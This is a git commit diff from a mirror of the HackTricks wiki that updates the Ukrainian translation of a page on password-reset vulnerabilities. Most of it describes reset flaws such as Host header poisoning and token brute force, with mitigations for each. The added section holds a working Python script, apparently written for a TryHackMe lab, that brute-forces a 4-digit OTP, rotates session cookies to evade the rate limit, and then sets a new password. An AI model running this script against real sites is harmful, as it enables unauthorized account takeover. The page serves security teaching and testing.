mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/reset-password.md'] to uk
This commit is contained in:
parent
f554a8cff1
commit
3c61c84b97
@ -16,7 +16,7 @@
|
||||
|
||||
- Зловмисники можуть маніпулювати заголовком Host під час запитів на скидання пароля, щоб вказати посилання для скидання на шкідливий сайт.
|
||||
- **Вплив**: Призводить до потенційного захоплення облікового запису шляхом витоку токенів скидання зловмисникам.
|
||||
- **Кроки пом'якшення**:
|
||||
- **Кроки з пом'якшення**:
|
||||
- Перевірте заголовок Host на відповідність білому списку дозволених доменів.
|
||||
- Використовуйте безпечні, серверні методи для генерації абсолютних URL.
|
||||
- **Патч**: Використовуйте `$_SERVER['SERVER_NAME']` для створення URL скидання пароля замість `$_SERVER['HTTP_HOST']`.
|
||||
@ -79,7 +79,7 @@ POST /resetPassword
|
||||
|
||||
## **Зміна електронної пошти та пароля будь-якого користувача через параметри API**
|
||||
|
||||
- Зловмисники можуть змінювати параметри електронної пошти та пароля в запитах API для зміни облікових даних акаунта.
|
||||
- Зловмисники можуть змінювати параметри електронної пошти та пароля в запитах API, щоб змінити облікові дані акаунта.
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
@ -87,20 +87,20 @@ POST /api/changepass
|
||||
```
|
||||
- **Кроки пом'якшення**:
|
||||
- Забезпечте сувору перевірку параметрів та аутентифікаційні перевірки.
|
||||
- Реалізуйте надійне ведення журналів та моніторинг для виявлення та реагування на підозрілі дії.
|
||||
- Реалізуйте надійне ведення журналу та моніторинг для виявлення та реагування на підозрілі дії.
|
||||
- **Посилання**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
- [Повне захоплення облікового запису через маніпуляцію параметрами API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Відсутність обмеження швидкості: Email Bombing**
|
||||
## **Відсутність обмеження швидкості: Email бомбардування**
|
||||
|
||||
- Відсутність обмеження швидкості на запити скидання пароля може призвести до email bombing, перевантажуючи користувача листами для скидання.
|
||||
- Відсутність обмеження швидкості на запити скидання пароля може призвести до бомбардування електронною поштою, перевантажуючи користувача електронними листами для скидання.
|
||||
- **Кроки пом'якшення**:
|
||||
- Реалізуйте обмеження швидкості на основі IP-адреси або облікового запису користувача.
|
||||
- Використовуйте CAPTCHA для запобігання автоматизованому зловживанню.
|
||||
- **Посилання**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
- [Звіт HackerOne 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Визначте, як генерується токен для скидання пароля**
|
||||
## **Визначте, як генерується токен скидання пароля**
|
||||
|
||||
- Розуміння шаблону або методу генерації токенів може призвести до прогнозування або брутфорсингу токенів. Деякі варіанти:
|
||||
- На основі часу
|
||||
@ -111,10 +111,10 @@ POST /api/changepass
|
||||
- На основі криптографії
|
||||
- **Кроки пом'якшення**:
|
||||
- Використовуйте надійні, криптографічні методи для генерації токенів.
|
||||
- Забезпечте достатню випадковість і довжину, щоб запобігти прогнозуванню.
|
||||
- Забезпечте достатню випадковість і довжину, щоб запобігти передбачуваності.
|
||||
- **Інструменти**: Використовуйте Burp Sequencer для аналізу випадковості токенів.
|
||||
|
||||
## **Легко вгадуваний UUID**
|
||||
## **Вгадуваний UUID**
|
||||
|
||||
- Якщо UUID (версія 1) можна вгадати або передбачити, зловмисники можуть брутфорсити їх для генерації дійсних токенів скидання. Перевірте:
|
||||
|
||||
@ -133,20 +133,20 @@ uuid-insecurities.md
|
||||
- Реалізуйте перевірки на стороні сервера, щоб забезпечити цілісність відповіді.
|
||||
- Використовуйте безпечні канали зв'язку, такі як HTTPS, щоб запобігти атакам "людина посередині".
|
||||
- **Посилання**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
- [Критична помилка на живому заході з винагородами за помилки](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Використання простроченого токена**
|
||||
|
||||
- Тестування, чи можна ще використовувати прострочені токени для скидання пароля.
|
||||
- **Кроки пом'якшення**:
|
||||
- Реалізуйте суворі політики закінчення терміну дії токенів та перевіряйте термін дії токенів на стороні сервера.
|
||||
- Реалізуйте суворі політики закінчення терміну дії токенів і перевіряйте термін дії токена на стороні сервера.
|
||||
|
||||
## **Брутфорс токена для скидання пароля**
|
||||
## **Брутфорс токена скидання пароля**
|
||||
|
||||
- Спроба брутфорсити токен скидання, використовуючи інструменти, такі як Burpsuite та IP-Rotator, щоб обійти обмеження швидкості на основі IP.
|
||||
- **Кроки пом'якшення**:
|
||||
- Реалізуйте надійні механізми обмеження швидкості та блокування облікових записів.
|
||||
- Моніторте підозрілі дії, що вказують на атаки брутфорс.
|
||||
- Реалізуйте надійне обмеження швидкості та механізми блокування облікових записів.
|
||||
- Моніторинг підозрілих дій, що вказують на атаки брутфорс.
|
||||
|
||||
## **Спробуйте використати свій токен**
|
||||
|
||||
@ -158,7 +158,7 @@ uuid-insecurities.md
|
||||
|
||||
- Забезпечення недійсності сеансів, коли користувач виходить або скидає свій пароль.
|
||||
- **Кроки пом'якшення**:
|
||||
- Реалізуйте належне управління сеансами, забезпечуючи недійсність усіх сеансів при виході або скиданні пароля.
|
||||
- Реалізуйте належне управління сеансами, забезпечуючи недійсність усіх сеансів після виходу або скидання пароля.
|
||||
|
||||
## **Недійсність сеансу при виході/скиданні пароля**
|
||||
|
||||
@ -166,6 +166,70 @@ uuid-insecurities.md
|
||||
- **Кроки пом'якшення**:
|
||||
- Встановіть розумний час закінчення для токенів скидання та суворо дотримуйтеся його на стороні сервера.
|
||||
|
||||
## **Обхід обмеження швидкості OTP, змінюючи свій сеанс**
|
||||
|
||||
- Якщо веб-сайт використовує сеанс користувача для відстеження неправильних спроб OTP, і OTP був слабким (<= 4 цифри), то ми можемо ефективно брутфорсити OTP.
|
||||
- **експлуатація**:
|
||||
- просто запитайте новий токен сеансу після блокування сервером.
|
||||
- **Приклад** коду, який експлуатує цю помилку, випадково вгадуючи OTP (коли ви змінюєте сеанс, OTP також зміниться, і тому ми не зможемо послідовно брутфорсити його!):
|
||||
|
||||
``` python
|
||||
# Обхід аутентифікації через скидання пароля
|
||||
# від coderMohammed
|
||||
import requests
|
||||
import random
|
||||
from time import sleep
|
||||
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
|
||||
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
|
||||
}
|
||||
url = "http://10.10.12.231:1337/reset_password.php"
|
||||
logout = "http://10.10.12.231:1337/logout.php"
|
||||
root = "http://10.10.12.231:1337/"
|
||||
|
||||
parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] Початок атаки!")
|
||||
sleep(3)
|
||||
print("[+] Це може зайняти близько 5 хвилин!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # випадкове число від 0 до 9999 з 4 цифрами
|
||||
parms["s"] = 164 # не важливо, це лише впливає на фронтенд
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # слідкуйте за кількістю спроб
|
||||
out = requests.get(logout,headers=headers) # виходить
|
||||
mainp = requests.get(root) # отримує ще один phpssid (токен)
|
||||
|
||||
cookies = out.cookies # витягує sessionid
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" # оновлює заголовки з новим сеансом
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # надсилає електронну пошту для зміни пароля
|
||||
ter = 0 # скидає ter, щоб отримати новий сеанс після 8 спроб
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # це довжина сторінки, коли ви правильно отримали код відновлення (отримано тестуванням)
|
||||
print(len(res.text)) # для інформації про налагодження
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # тут ми змінимо пароль на щось нове
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] Пароль було змінено на:D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] Атака зупинена")
|
||||
```
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user